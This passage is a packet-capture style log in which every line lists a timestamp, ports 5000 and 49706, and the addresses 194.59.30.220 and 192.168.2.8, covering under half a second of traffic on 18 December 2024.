Dec 18, 2024 11:56:25.979578018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.979592085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.979676962 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.980415106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.980515957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.980560064 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.981300116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.981399059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.981442928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.982355118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.982367992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.982410908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.983124018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.983175993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.983220100 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.983962059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.984121084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.984174013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.985054970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.985085964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.985131025 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.985778093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.985816956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.985862017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.986711025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.986735106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.986778021 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.987631083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.987678051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.987725019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.988554955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.988604069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.988646030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.989417076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.989542961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.989590883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.990367889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.991097927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.991142035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.991175890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.991363049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.991410971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.992140055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.992408991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.992458105 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.993042946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.993056059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.993103981 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.993844032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.993912935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.993954897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.994710922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.994942904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.994985104 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.995666027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.995719910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.995762110 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.996628046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.996642113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.996692896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.997498989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.997549057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.997594118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.998475075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.998488903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.998543978 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.999368906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.999382019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.999437094 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.000102997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.000257015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.000305891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.001029968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.001178026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.001218081 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.002016068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.002033949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.002072096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.002813101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.003102064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.003149986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.003810883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.003823042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.003870010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.004713058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.004725933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.004776001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.005570889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.005662918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.005707979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.006402969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.006500959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.006542921 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.007359982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.007570982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.007615089 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.008172989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.008409023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.008455038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.009111881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.009191990 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.009238958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.010096073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.010108948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.010143995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.010937929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.011177063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.011226892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.012427092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.012573957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.012630939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.013406992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.013421059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.013472080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.022882938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.022912979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.022970915 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.023135900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.023261070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.023305893 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.023843050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.024127007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.024178982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.024660110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.073443890 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.160383940 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.160445929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.160537004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.160887957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.161087036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.161101103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.161139011 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.161838055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.161896944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.161925077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.162760973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.162802935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.162847996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.163722038 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.163736105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.163769960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.164555073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.164602041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.164614916 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.165491104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.165503979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.165534019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.166354895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.166399956 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.166418076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.167293072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.167347908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.167350054 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.168159008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.168210983 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.168237925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.169178009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.169192076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.169229984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.170023918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.170041084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.170073986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.170878887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.170893908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.170931101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.171881914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.171936989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.171950102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.172765017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.173012018 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.173031092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.173543930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.173593044 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.173628092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.174468994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.174518108 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.174563885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.175354958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.175367117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.175400019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.176286936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.176301003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.176338911 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.177113056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.177174091 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.177344084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.178086042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.178128004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.178147078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.179001093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.179013014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.179058075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.179790020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.179838896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.180036068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.180742979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.180757046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.180789948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.181602001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.181648016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.181675911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.182441950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.182564020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.182627916 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.183388948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.183408022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.183442116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.184278965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.184320927 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.184335947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.185197115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.185239077 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.185482025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.186132908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.186206102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.186219931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.186990976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.187032938 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.187089920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.187988043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.188000917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.188033104 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.188746929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.188787937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.188821077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.189747095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.189759970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.189790010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.190826893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.190839052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.190871000 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.191687107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.191699028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.191732883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.192410946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.192423105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.192466974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.193341017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.193352938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.193387032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.194225073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.194267988 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.194325924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.195360899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.195400953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.195406914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.196228981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.196279049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.196400881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.197251081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.197294950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.197448015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.198257923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.198296070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.198302031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.199326992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.199338913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.199373007 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.200393915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.200447083 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.200459003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.201358080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.201406002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.201411009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.202219963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.202266932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.202408075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.202990055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.203033924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.203041077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.203773975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.203788996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.203826904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.204502106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.204511881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.204556942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.213031054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.213048935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.213107109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.213314056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.213359118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.213458061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.214296103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.214309931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.214345932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.215148926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.215204954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.353876114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.353895903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.354007006 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.354247093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.354260921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.354312897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.355140924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.355161905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.355200052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.356112957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.356127024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.356162071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.356836081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.356848955 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.356888056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.357984066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.357995987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.358037949 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.358887911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.358900070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.358938932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.359798908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.359812021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.359850883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.360807896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.360821009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.360860109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.361686945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.361700058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.361738920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.362739086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.362751007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.362791061 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.363500118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.363512993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.363553047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.364197016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.364209890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.364248991 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.364944935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.364958048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.364996910 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.365681887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.365694046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:26.365736008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:26.366564035 CET	5000	49706	194.59.30.220	192.168.2.8
